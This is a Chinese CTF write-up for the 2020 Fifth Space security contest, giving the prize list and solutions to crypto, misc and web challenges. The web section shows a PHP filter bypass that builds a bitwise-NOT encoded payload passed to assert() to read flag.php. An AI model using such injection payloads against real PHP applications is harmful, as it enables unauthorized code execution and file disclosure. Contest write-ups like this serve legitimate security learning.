2020 第五空间智能安全大赛 WriteUp

🏛️ 组织架构

  • 指导单位：第四届世界智能大会组委会

  • 主办单位：天津市委网信办

  • 承办单位：360 集团、南开大学网络空间安全学院、天津大学网络安全学院、天津理工大学计算机科学与工程学院等

  • 协办单位：国家工业信息安全发展研究中心、国家计算机网络与信息安全管理中心、国家计算机病毒应急处理中心、麒麟软件有限公司、天津飞腾信息技术有限公司等

决赛于 2020 年 9 月 11 日举行，最终 35 支队伍获奖。完整获奖名单如下：

奖项 获奖队伍
特等奖 Ph0t1n1a (上海交通大学)
一等奖 Nu1L、blm、天枢 Dubhe、Redbud
二等奖 Venom、W&M、黄金熊与黄红黄熊与恰饭困难、Kap0k、M01N、锅包又、Lancet、BOI、宸极实验室、D0g33
三等奖 Vidar-Team、GXY、Rosetta、天榕星、QF.team、DAWN、Mini-Venom、鱼香肉丝战队、secdriverlab、Lqers、天璇 Merak、这次是真的摸鱼、0xcSec、韭菜韭菜韭菜、FourNoobS、destiny、flybug、北极星、ha1cyon、四条单身狗

Crypto

rosb（共模攻击）

babasay(m) 使用同一个 n，对同一个 m 用两个不同的 e 加密，并输出

修改下板子改为十六进制格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
def long_to_bytes(x: int) -> bytes:
    if x == 0:
        return b"\x00"
    return x.to_bytes((x.bit_length() + 7) // 8, "big")


def parse_hex(s: str) -> int:
    s = s.strip()
    if s.endswith(("L", "l")):
        s = s[:-1]
    return int(s, 16)


def exgcd(a: int, b: int):
    if b == 0:
        return a, 1, 0
    g, x1, y1 = exgcd(b, a % b)
    return g, y1, x1 - (a // b) * y1


def pow_signed(c: int, k: int, n: int) -> int:
    if k >= 0:
        return pow(c, k, n)
    return pow(pow(c, -1, n), -k, n)


n = parse_hex("""
0xa1d4d377001f1b8d5b2740514ce699b49dc8a02f12df9a960e80e2a6ee13b7a97d9f508721e3dd7a6842c24ab25ab87d1132358de7c6c4cee3fb3ec9b7fd873626bd0251d16912de1f0f1a2bba52b082339113ad1a262121db31db9ee1bf9f26023182acce8f84612bfeb075803cf610f27b7b16147f7d29cc3fd463df7ea31ca860d59aae5506479c76206603de54044e7b778e21082c4c4da795d39dc2b9c0589e577a773133c89fa8e3a4bd047b8e7d6da0d9a0d8a3c1a3607ce983deb350e1c649725cccb0e9d756fc3107dd4352aa18c45a65bab7772a4c5aef7020a1e67e6085cc125d9fc042d96489a08d885f448ece8f7f254067dfff0c4e72a63557L
""")

e1 = parse_hex("0xf4c1158fL")
c1 = parse_hex("""
0x2f6546062ff19fe6a3155d76ef90410a3cbc07fef5dff8d3d5964174dfcaf9daa003967a29c516657044e87c1cbbf2dba2e158452ca8b7adba5e635915d2925ac4f76312feb3b0c85c3b8722c0e4aedeaec2f2037cc5f676f99b7260c3f83ffbaba86cda0f6a9cd4c70b37296e8f36c3ceaae15b5bf0b290119592ff03427b80055f08c394e5aa6c45bd634c80c59a9f70a92dc70eebec15d4a5e256bf78775e0d3d14f3a0103d9ad8ea6257a0384091f14da59e52581ba2e8ad3adb9747435e9283e8064de21ac41ab2c7b161a3c072b7841d4a594a8b348a923d4cc39f02e05ce95a69c7500c29f6bb415c11e4e0cdb410d0ec2644d6243db38e893c8a3707L
""")

e2 = parse_hex("0xf493f7d1L")
c2 = parse_hex("""
0xd32dfad68d790022758d155f2d8bf46bb762ae5cc17281f2f3a8794575ec684819690b22106c1cdaea06abaf7d0dbf841ebd152be51528338d1da8a78f666e0da85367ee8c1e6addbf590fc15f1b2182972dcbe4bbe8ad359b7d15febd5597f5a87fa4c6c51ac4021af60aeb726a3dc7689daed70144db57d1913a4dc29a2b2ec34c99c507d0856d6bf5d5d01ee514d47c7477a7fb8a6747337e7caf2d6537183c20e14c7b79380d9f7bcd7cda9e3bfb00c2b57822663c9a5a24927bceec316c8ffc59ab3bfc19f364033da038a4fb3ecef3b4cb299f4b600f76b8a518b25b576f745412fe53d229e77e68380397eee6ffbc36f6cc734815cd4065dc73dcbcbL
""")

g, a, b = exgcd(e1, e2)

print("[+] gcd(e1, e2) =", g)
print("[+] a =", a)
print("[+] b =", b)
print("[+] check =", a * e1 + b * e2)

if g != 1:
    raise ValueError("e1 和 e2 不互素，不能直接使用标准共模攻击")

m = (pow_signed(c1, a, n) * pow_signed(c2, b, n)) % n
plaintext = long_to_bytes(m)

print("[+] plaintext length =", len(plaintext))
print("[+] plaintext =", plaintext)

flag = plaintext[:-64]
print("[+] flag =", flag.decode(errors="replace"))

Misc

loop（签到）

循环套娃解压缩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import io, re, zipfile, tarfile

def unpack(blob):
    """解压单一文件的 ZIP 或 TAR，返回 (格式, 数据)。"""
    # ZIP 文件头
    if blob.startswith(b"PK\x03\x04"):
        with zipfile.ZipFile(io.BytesIO(blob)) as z:
            names = z.namelist()
            assert len(names) == 1, "ZIP 内文件数不为 1"
            return "zip", z.read(names[0])
    # TAR 文件头（ustar 位于 257 字节处）
    if len(blob) > 262 and blob[257:262] == b"ustar":
        with tarfile.open(fileobj=io.BytesIO(blob)) as t:
            files = [m for m in t.getmembers() if m.isfile()]
            assert len(files) == 1, "TAR 内文件数不为 1"
            return "tar", t.extractfile(files[0]).read()
    return None, blob

data = open("file", "rb").read()

while True:
    # 搜索 flag 字符串
    if m := re.search(rb"flag\{[^}\r\n]+\}", data, re.I):
        print(m.group().decode())
        break
    fmt, data = unpack(data)
    if fmt is None:          # 无法继续解压
        print("到达非压缩层")
        break
    print(f"解开一层: {fmt}") # 可注释掉以精简输出
1
flag{9e24d838-8f7d-486b-ad55-03d345bb5029}

run（文件附加隐写）

pasted_1784209910163_pd4i83.png

先 binwalk 查看有没有文件隐藏

pasted_1784210254030_xzmqnv.png

分离出来后点击 run.exe 自动生成了一个 .tif

pasted_1784210499062_tmv3ih.png

WinHex 里面看有提示在尾端

pasted_1784210595212_ahway8.png

通过 PS 看到了隐藏代码

pasted_1784210618703_zqhb3s.png

编写脚本拿到 flag

1
2
3
4
5
6
7
8
9
10
11
a = 'njCp1HJBPLVTxcMhUHDPwE7mPW'

flag = ""
for i in range(len(a)):
    if i % 2 == 0:
        flag += chr(ord(a[i]) - 1)
    else:
        flag += chr(ord(a[i]) + 1)
print flag

# mkBq0IICOMUUwdLiTICQvF6nOX

Web

hate_php（取反绕过 + 动态调用）

pasted_1784206949241_93dnyr.png

网页源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0); 

if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];

    // 第一层过滤：禁止含有 f,l,a,g,.,p,h,/,;,"',`,|,[,],_,= 等字符（不区分大小写）
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }

    // 第二层过滤：获取 PHP 所有内置函数名作为黑名单
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        // 若 $code 中出现任意内部函数名，则拦截
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }

    assert($code);
}

利用 PHP 字符串按位取反 ~，例如

1
2
0x97 ^ 0xff = 0x68
0x68 对应 ASCII 字符 h

assert() 接收到字符串时，会把字符串当 PHP 代码执行，构造 Payload

1
("highlight_file")("flag.php");
1
(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))